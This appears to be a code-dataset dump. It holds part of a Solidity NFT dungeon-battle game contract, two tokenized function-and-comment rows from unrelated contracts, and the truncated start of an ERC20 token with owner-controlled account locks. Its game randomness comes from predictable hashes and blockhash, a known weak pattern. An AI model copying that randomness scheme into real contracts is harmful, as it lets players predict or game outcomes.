function getEncounteredMonster(uint256 tokenId)
public
view
returns (Monster memory)
{
require(
hasEnteredTheDungeon(tokenId),
"You are not in the dungeon yet"
);
return tokenIdEncounteredMonster[tokenId];
}
function getRemainingMonsterCount() public view returns (uint256) {
uint256 totalMonsters = 0;
for (uint256 i = 0; i < monsterArray.length; i++) {
totalMonsters += remainingMonsterCount[monsterArray[i].id];
}
return totalMonsters;
}
function hasEnteredTheDungeon(uint256 tokenId) public view returns (bool) {
return tokenIdToEnterDungeonRollResult[tokenId] != uint256(0x0);
}
function hasFinishedBattle(uint256 tokenId) public view returns (bool) {
return
tokenIdToMonsterBattleRollResult[tokenId] != uint256(0x0) &&
tokenIdToMonsterBattleRollResult[tokenId] != ROLL_IN_PROGRESS;
}
function hasStartedBattle(uint256 tokenId) public view returns (bool) {
return tokenIdToMonsterBattleRollResult[tokenId] != uint256(0x0);
}
/**
* Requires the owner of the loot bag to approve the transfer first.
*/
function enterTheDungeon(uint256 tokenId) external nonReentrant {
require(
getRemainingMonsterCount() > 0,
"All monsters have been slayed"
);
IERC721 lootContract = _getLootContract(tokenId);
// If the contract is not already the owner of the loot bag, transfer it to this contract.
if (lootContract.ownerOf(tokenId) != address(this)) {
lootContract.transferFrom(_msgSender(), address(this), tokenId);
lootOwners[tokenId] = _msgSender();
lootTimeLock[tokenId] = block.timestamp + LOOT_TIME_LOCK;
agreedFerrymanPrice[tokenId] = ferrymanCurrentPrice;
ferrymanCurrentPrice += ferrymanPriceIncreasePerAttempt;
}
require(
lootOwners[tokenId] == _msgSender(),
"You do not own this loot bag"
);
require(
hasEnteredTheDungeon(tokenId) == false,
"You are already in the dungeon"
);
_monsterEncounter(
tokenId,
_pseudorandom(string(abi.encodePacked(tokenId)), true)
);
}
function _monsterEncounter(uint256 tokenId, uint256 randomness) internal {
uint256 rollResult = randomness.mod(DICE_PRECISION).add(1); // Add 1 to distinguish from not-rolled state in edge-case (rng = 0)
tokenIdToEnterDungeonRollResult[tokenId] = rollResult;
Monster memory rolledMonster = _getRolledMonster(rollResult);
tokenIdEncounteredMonster[tokenId] = rolledMonster;
remainingMonsterCount[rolledMonster.id] = remainingMonsterCount[
rolledMonster.id
].sub(1);
emit EnteredDungeon(tokenId, _msgSender(), rolledMonster.id);
}
function escapeFromDungeon(uint256 tokenId)
external
payable
onlyLootBagOwner(tokenId)
nonReentrant
{
require(
hasEnteredTheDungeon(tokenId),
"You have not entered the dungeon yet"
);
require(
hasStartedBattle(tokenId) == false,
"You can't escape from a battle that already started"
);
require(
msg.value >= escapePrice,
"The amount of eth paid is not enough to escape from this battle"
);
Monster memory currMonster = tokenIdEncounteredMonster[tokenId];
remainingMonsterCount[currMonster.id] = remainingMonsterCount[
currMonster.id
].add(1);
_exitDungeon(tokenId);
// If it's the first escape, allow claiming escape NFT
if (escapeNftClaimedState[_msgSender()] == ESCAPE_NFT_UNCLAIMABLE) {
escapeNftClaimedState[_msgSender()] = ESCAPE_NFT_READY_TO_CLAIM;
}
}
function _exitDungeon(uint256 tokenId) internal {
address ogOwner = lootOwners[tokenId];
lootOwners[tokenId] = address(0x0);
tokenIdToEnterDungeonRollResult[tokenId] = uint256(0x0);
tokenIdToMonsterBattleRollResult[tokenId] = uint256(0x0);
lootTimeLock[tokenId] = uint256(0x0);
agreedFerrymanPrice[tokenId] = uint256(0x0);
IERC721 lootContract = _getLootContract(tokenId);
lootContract.transferFrom(address(this), ogOwner, tokenId);
}
function battleMonster(uint256 tokenId)
external
payable
onlyIfEnoughLink
onlyLootBagOwner(tokenId)
nonReentrant
returns (bytes32 requestId)
{
require(
hasEnteredTheDungeon(tokenId),
"You have not entered the dungeon yet"
);
require(
hasStartedBattle(tokenId) == false,
"The battle already started"
);
require(
msg.value >= battlePrice,
"The amount of eth paid is not enough to fight this battle"
);
if (isTestNetwork) {
requestId = 0;
} else {
requestId = requestRandomness(s_keyHash, s_fee);
}
requestIdToTokenId[requestId] = tokenId;
tokenIdToMonsterBattleRollResult[tokenId] = ROLL_IN_PROGRESS;
if (isTestNetwork) {
fulfillRandomness(requestId, tokenId);
}
emit StartedBattle(tokenId, _msgSender());
return requestId;
}
function checkBattleResultsNoCache(
uint256 tokenId,
uint256 round,
int256 lastRoundPlayerHp,
int256 lastRoundMonsterHp
)
public
view
onlyIfBattleFinished(tokenId)
returns (BattleRoundResult memory)
{
Item memory playerBaseStats = getStats(tokenId);
return
checkBattleResults(
tokenId,
round,
lastRoundPlayerHp,
lastRoundMonsterHp,
playerBaseStats
);
}
function checkBattleResults(
uint256 tokenId,
uint256 round,
int256 lastRoundPlayerHp,
int256 lastRoundMonsterHp,
Item memory playerBaseStats
)
public
view
onlyIfBattleFinished(tokenId)
returns (BattleRoundResult memory)
{
if (round > maxRoundsPerBattle - 1) {
// Player wins by forfeit
return
BattleRoundResult(
false,
true,
lastRoundPlayerHp,
lastRoundMonsterHp
);
}
bool hasNextRound = true;
bool won = false;
uint256 monsterDamage = _getMonsterDamage(
tokenId,
round,
playerBaseStats
);
uint256 playerDamage = _getPlayerDamage(
tokenId,
round,
playerBaseStats
);
int256 monsterHp = lastRoundMonsterHp - int256(monsterDamage);
int256 playerHp = lastRoundPlayerHp - int256(playerDamage);
if (playerHp <= 0 || monsterHp <= 0) {
hasNextRound = false;
}
if (playerHp > 0 && monsterHp <= 0) {
won = true;
}
return BattleRoundResult(hasNextRound, won, playerHp, monsterHp);
}
function _getMonsterDamage(
uint256 tokenId,
uint256 round,
Item memory playerStats
) internal view returns (uint256 damage) {
uint256 randomSeed = tokenIdToMonsterBattleRollResult[tokenId];
Monster memory currMonster = tokenIdEncounteredMonster[tokenId];
uint256 playerAccuracyRoll = _pseudorandom(
string(abi.encodePacked(randomSeed, "player", round)),
false
).mod(20).add(1);
// Player miss
if (playerAccuracyRoll + playerStats.dexterity < currMonster.agility) {
return 0;
}
uint256 playerAttackRoll = _pseudorandom(
string(abi.encodePacked(randomSeed, "playerAttack", round)),
false
).mod(playerStats.attack).add(1);
if (playerAttackRoll > currMonster.armor) {
return playerAttackRoll.sub(currMonster.armor);
}
return 0;
}
function _getPlayerDamage(
uint256 tokenId,
uint256 round,
Item memory playerStats
) internal view returns (uint256 damage) {
uint256 randomSeed = tokenIdToMonsterBattleRollResult[tokenId];
Monster memory currMonster = tokenIdEncounteredMonster[tokenId];
uint256 monsterAccuracyRoll = _pseudorandom(
string(abi.encodePacked(randomSeed, "monster", round)),
false
).mod(20).add(1);
// Monster miss
if (monsterAccuracyRoll + currMonster.dexterity < playerStats.agility) {
return 0;
}
uint256 monsterAttackRoll = _pseudorandom(
string(abi.encodePacked(randomSeed, "monsterAttack", round)),
false
).mod(currMonster.attack).add(1);
if (monsterAttackRoll > playerStats.armor) {
return monsterAttackRoll.sub(playerStats.armor);
}
return 0;
}
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
uint256 tokenId = requestIdToTokenId[requestId];
uint256 rollResult = randomness.mod(DICE_PRECISION).add(1); // Add 1 to distinguish from not-rolled state in edge-case (rng = 0)
tokenIdToMonsterBattleRollResult[tokenId] = rollResult;
emit VrfResponseArrived(tokenId);
}
function claimDrops(uint256 tokenId)
external
onlyLootBagOwner(tokenId)
onlyIfBattleFinished(tokenId)
nonReentrant
{
Item memory playerBaseStats = getStats(tokenId);
Monster memory currMonster = tokenIdEncounteredMonster[tokenId];
bool hasNextRound = true;
bool won = false;
int256 playerHp = int256(playerBaseStats.hp);
int256 monsterHp = int256(currMonster.hp);
uint256 round = 0;
while (hasNextRound) {
BattleRoundResult memory result = checkBattleResults(
tokenId,
round,
playerHp,
monsterHp,
playerBaseStats
);
hasNextRound = result.hasNextRound;
won = result.won;
playerHp = result.playerHp;
monsterHp = result.monsterHp;
round++;
}
if (won) {
emit WonBattle(tokenId, _msgSender());
_mintMonsterLoot(tokenId);
return _exitDungeon(tokenId);
}
revert("You cannot claim rewards if you did not win the battle");
}
function _mintMonsterLoot(uint256 tokenId) internal {
Monster memory currMonster = tokenIdEncounteredMonster[tokenId];
uint256 randomSeed = tokenIdToMonsterBattleRollResult[tokenId];
uint256 luckyDropRoll = _pseudorandom(
string(abi.encodePacked(randomSeed, "luckyDrop")),
false
).mod(LUCKY_DROP_CHANCE_1_IN).add(1);
_mint(_msgSender(), currMonster.guaranteedDrop, 1, "");
if (luckyDropRoll <= 1) {
_mint(_msgSender(), currMonster.luckyDrop, 1, "");
}
}
function bribeFerryman(uint256 tokenId)
external
payable
onlyLootBagOwnerBeforeTimelock(tokenId)
onlyIfBattleFinished(tokenId)
nonReentrant
{
require(
msg.value >= agreedFerrymanPrice[tokenId],
"The amount of eth paid is not enough to bribe the ferryman"
);
// If it's the first ferryman, allow claiming ferryman NFT
if (
ferrymanCardClaimedState[_msgSender()] == FERRYMAN_NFT_UNCLAIMABLE
) {
ferrymanCardClaimedState[
_msgSender()
] = FERRYMAN_NFT_READY_TO_CLAIM;
}
emit BribedTheFerryman(tokenId, _msgSender());
_exitDungeon(tokenId);
}
function claimEscapeCard() external {
require(canClaimEscapeCard(), "Escape NFT not ready to be claimed");
escapeNftClaimedState[_msgSender()] = ESCAPE_NFT_CLAIMED;
_mint(_msgSender(), ESCAPE_CARD, 1, "");
}
function claimFerrymanCard() external {
require(
canClaimFerrymanCard(),
"Ferryman Card not ready to be claimed"
);
ferrymanCardClaimedState[_msgSender()] = FERRYMAN_NFT_CLAIMED;
_mint(_msgSender(), FERRYMAN_CARD, 1, "");
}
function canClaimEscapeCard() public view returns (bool) {
return escapeNftClaimedState[_msgSender()] == ESCAPE_NFT_READY_TO_CLAIM;
}
function canClaimFerrymanCard() public view returns (bool) {
return
ferrymanCardClaimedState[_msgSender()] ==
FERRYMAN_NFT_READY_TO_CLAIM;
}
function _pseudorandom(string memory input, bool varyEachBlock)
internal
view
returns (uint256)
{
bytes32 blockComponent = 0;
if (!isTestNetwork && varyEachBlock) {
// Remove randomness in tests
blockComponent = blockhash(block.number);
}
return uint256(keccak256(abi.encodePacked(input, blockComponent)));
}
function _lootOgRandom(string memory input)
internal
pure
returns (uint256)
{
return uint256(keccak256(abi.encodePacked(input)));
}
/**
* WEAPON: Atk
* CHEST: Armor
* HEAD: HP
* WAIST: HP
* FOOT: AGI
* HAND: DEX
* NECK: Random
* RING: Random
*/
function getStats(uint256 tokenId) public view returns (Item memory) {
uint256 hpBonus = (_lootOgRandom(
string(abi.encodePacked("HEAD", toString(tokenId)))
) % 21) +
(_lootOgRandom(
string(abi.encodePacked("WAIST", toString(tokenId)))
) % 21);
uint256 armorBonus = _lootOgRandom(
string(abi.encodePacked("CHEST", toString(tokenId)))
) % 21;
uint256 attackBonus = _lootOgRandom(
string(abi.encodePacked("WEAPON", toString(tokenId)))
) % 21;
uint256 agiBonus = _lootOgRandom(
string(abi.encodePacked("FOOT", toString(tokenId)))
) % 21;
uint256 dexBonus = _lootOgRandom(
string(abi.encodePacked("HAND", toString(tokenId)))
) % 21;
uint256 neckBonus = _lootOgRandom(
string(abi.encodePacked("NECK", toString(tokenId)))
) % 21;
uint256 ringBonus = _lootOgRandom(
string(abi.encodePacked("RING", toString(tokenId)))
) % 21;
if (neckBonus < 4) {
dexBonus += ringBonus / 3 + 1;
} else if (neckBonus < 8) {
agiBonus += ringBonus / 3 + 1;
} else if (neckBonus < 12) {
hpBonus += ringBonus / 3 + 1;
} else if (neckBonus < 16) {
attackBonus += ringBonus / 4 + 1;
} else {
armorBonus += ringBonus / 5 + 1;
}
return
Item(
basePlayerStats.hp + hpBonus / 2,
basePlayerStats.armor + armorBonus / 4,
basePlayerStats.attack + attackBonus / 2,
basePlayerStats.agility + agiBonus / 2,
basePlayerStats.dexterity + dexBonus / 2
);
}
function _getLootContract(uint256 tokenId)
internal
view
returns (IERC721 lootContract)
{
lootContract = IERC721(lootAddress);
if (tokenId > 8000) {
// Use mLoot instead
lootContract = IERC721(mLootAddress);
}
return lootContract;
}
// OpenSea stuff
function isApprovedForAll(address _owner, address _operator)
public
view
override
returns (bool)
{
return owner() == _owner && _isOwnerOrProxy(_operator);
}
function _isOwnerOrProxy(address _address) internal view returns (bool) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
return
owner() == _address ||
address(proxyRegistry.proxies(owner())) == _address;
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
public
onlyOwner
{
proxyRegistryAddress = _proxyRegistryAddress;
}
// Owner stuff
function withdrawEth() external onlyOwner {
address payable _owner = payable(owner());
_owner.transfer(address(this).balance);
}
function withdrawToken(address _tokenContract, uint256 amount)
external
onlyOwner
{
IERC20 tokenContract = IERC20(_tokenContract);
tokenContract.transfer(owner(), amount);
}
function withdrawLoot(uint256 tokenId) public onlyOwner {
require(
block.timestamp >= lootTimeLock[tokenId],
"Can't withdraw time-locked loot"
);
IERC721 lootContract = _getLootContract(tokenId);
lootOwners[tokenId] = address(0x0);
tokenIdToEnterDungeonRollResult[tokenId] = uint256(0x0);
tokenIdToMonsterBattleRollResult[tokenId] = uint256(0x0);
lootTimeLock[tokenId] = uint256(0x0);
lootContract.transferFrom(address(this), owner(), tokenId);
}
function withdrawBatch(uint256[] calldata tokenIds) external onlyOwner {
uint256 length = tokenIds.length;
// Iteratively burn ERC721 tokens, for performing
// batch withdraw
for (uint256 i; i < length; i++) {
withdrawLoot(tokenIds[i]);
}
}
// Adjust params
function setEscapePrice(uint256 newPrice)
external
onlyOwner
onlyIfNotLocked
{
escapePrice = newPrice;
}
function setBattlePrice(uint256 newPrice)
external
onlyOwner
onlyIfNotLocked
{
battlePrice = newPrice;
}
function setFerrymanPrice(uint256 newPrice, uint256 newIncrease)
external
onlyOwner
onlyIfNotLocked
{
ferrymanCurrentPrice = newPrice;
ferrymanPriceIncreasePerAttempt = newIncrease;
}
function setLinkFee(uint256 newFee) external onlyOwner {
s_fee = newFee;
}
function adjustPlayerStats(Item memory newStats)
external
onlyOwner
onlyIfNotLocked
{
basePlayerStats = newStats;
}
function adjustMonster(Monster memory adjustedMonster, uint256 monsterIndex)
external
onlyOwner
onlyIfNotLocked
{
monsterArray[monsterIndex] = adjustedMonster;
}
function adjustMaxRounds(uint256 maxRounds)
external
onlyOwner
onlyIfNotLocked
{
maxRoundsPerBattle = maxRounds;
}
function adjustLootAddress(address newAddress)
external
onlyOwner
onlyIfNotLocked
{
lootAddress = newAddress;
}
function adjustMLootAddress(address newAddress)
external
onlyOwner
onlyIfNotLocked
{
mLootAddress = newAddress;
}
function setUri(string memory newUri) external onlyOwner {
_setURI(newUri);
}
function lockFromAdditionalChanges() external onlyOwner onlyIfNotLocked {
lockSettings = true;
}
// Lib
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
| Player wins by forfeit | function checkBattleResults(
uint256 tokenId,
uint256 round,
int256 lastRoundPlayerHp,
int256 lastRoundMonsterHp,
Item memory playerBaseStats
)
public
view
onlyIfBattleFinished(tokenId)
returns (BattleRoundResult memory)
{
if (round > maxRoundsPerBattle - 1) {
return
BattleRoundResult(
false,
true,
lastRoundPlayerHp,
lastRoundMonsterHp
);
}
bool hasNextRound = true;
bool won = false;
uint256 monsterDamage = _getMonsterDamage(
tokenId,
round,
playerBaseStats
);
uint256 playerDamage = _getPlayerDamage(
tokenId,
round,
playerBaseStats
);
int256 monsterHp = lastRoundMonsterHp - int256(monsterDamage);
int256 playerHp = lastRoundPlayerHp - int256(playerDamage);
if (playerHp <= 0 || monsterHp <= 0) {
hasNextRound = false;
}
if (playerHp > 0 && monsterHp <= 0) {
won = true;
}
return BattleRoundResult(hasNextRound, won, playerHp, monsterHp);
}
| 13,015,115 | [
1,
12148,
31307,
635,
364,
3030,
305,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
866,
38,
4558,
298,
3447,
12,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
3643,
16,
203,
3639,
509,
5034,
1142,
11066,
12148,
44,
84,
16,
203,
3639,
509,
5034,
1142,
11066,
11415,
8190,
44,
84,
16,
203,
3639,
4342,
3778,
7291,
2171,
4195,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1338,
2047,
38,
4558,
298,
10577,
12,
2316,
548,
13,
203,
3639,
1135,
261,
38,
4558,
298,
11066,
1253,
3778,
13,
203,
565,
288,
203,
3639,
309,
261,
2260,
405,
943,
54,
9284,
2173,
38,
4558,
298,
300,
404,
13,
288,
203,
5411,
327,
203,
7734,
605,
4558,
298,
11066,
1253,
12,
203,
10792,
629,
16,
203,
10792,
638,
16,
203,
10792,
1142,
11066,
12148,
44,
84,
16,
203,
10792,
1142,
11066,
11415,
8190,
44,
84,
203,
7734,
11272,
203,
3639,
289,
203,
203,
3639,
1426,
4564,
11066,
273,
638,
31,
203,
3639,
1426,
8462,
273,
629,
31,
203,
203,
3639,
2254,
5034,
6921,
8190,
40,
301,
410,
273,
389,
588,
11415,
8190,
40,
301,
410,
12,
203,
5411,
1147,
548,
16,
203,
5411,
3643,
16,
203,
5411,
7291,
2171,
4195,
203,
3639,
11272,
203,
3639,
2254,
5034,
7291,
40,
301,
410,
273,
389,
588,
12148,
40,
301,
410,
12,
203,
5411,
1147,
548,
16,
203,
5411,
3643,
16,
203,
5411,
7291,
2171,
4195,
203,
3639,
11272,
203,
203,
3639,
509,
5034,
6921,
8190,
44,
84,
273,
1142,
11066,
11415,
8190,
44,
84,
300,
509,
5034,
12,
2586,
8190,
40,
301,
410,
1769,
203,
2
] |
./full_match/42220/0x86178FF5C54d4156936cDDA87F9D0358D7e7c98e/sources/project_/contracts/KolorLandNFT.sol | / Transfer to the marketplace | function safeTransferToMarketplace(uint256 tokenId)
public
override
notBurned(tokenId)
onlyOwner
notPublishedNorRemoved(tokenId)
{
updateLandState(tokenId, State.Published);
safeTransferFrom(msg.sender, marketplace, tokenId);
}
| 16,337,572 | [
1,
19,
12279,
358,
326,
29917,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4183,
5912,
774,
3882,
24577,
12,
11890,
5034,
1147,
548,
13,
203,
3639,
1071,
203,
3639,
3849,
203,
3639,
486,
38,
321,
329,
12,
2316,
548,
13,
203,
3639,
1338,
5541,
203,
3639,
486,
16451,
50,
280,
10026,
12,
2316,
548,
13,
203,
565,
288,
203,
3639,
1089,
29398,
1119,
12,
2316,
548,
16,
3287,
18,
16451,
1769,
203,
3639,
4183,
5912,
1265,
12,
3576,
18,
15330,
16,
29917,
16,
1147,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => bool) locks;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(!locks[msg.sender] && !locks[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Sets the lock state of the specified address.
* @param _toLock The address to set the the lock state for.
* @param _setTo A bool representing the lock state.
*/
function setLock(address _toLock, bool _setTo) onlyOwner {
locks[_toLock] = _setTo;
}
/**
* @dev Gets the lock state of the specified address.
* @param _owner The address to query the the lock state of.
* @return A bool representing the lock state.
*/
function lockOf(address _owner) public constant returns (bool lock) {
return locks[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(!locks[_from] && !locks[_to]);
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev ERC20 Token, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
string public constant name = "CryptoTask";
string public constant symbol = "CTF";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
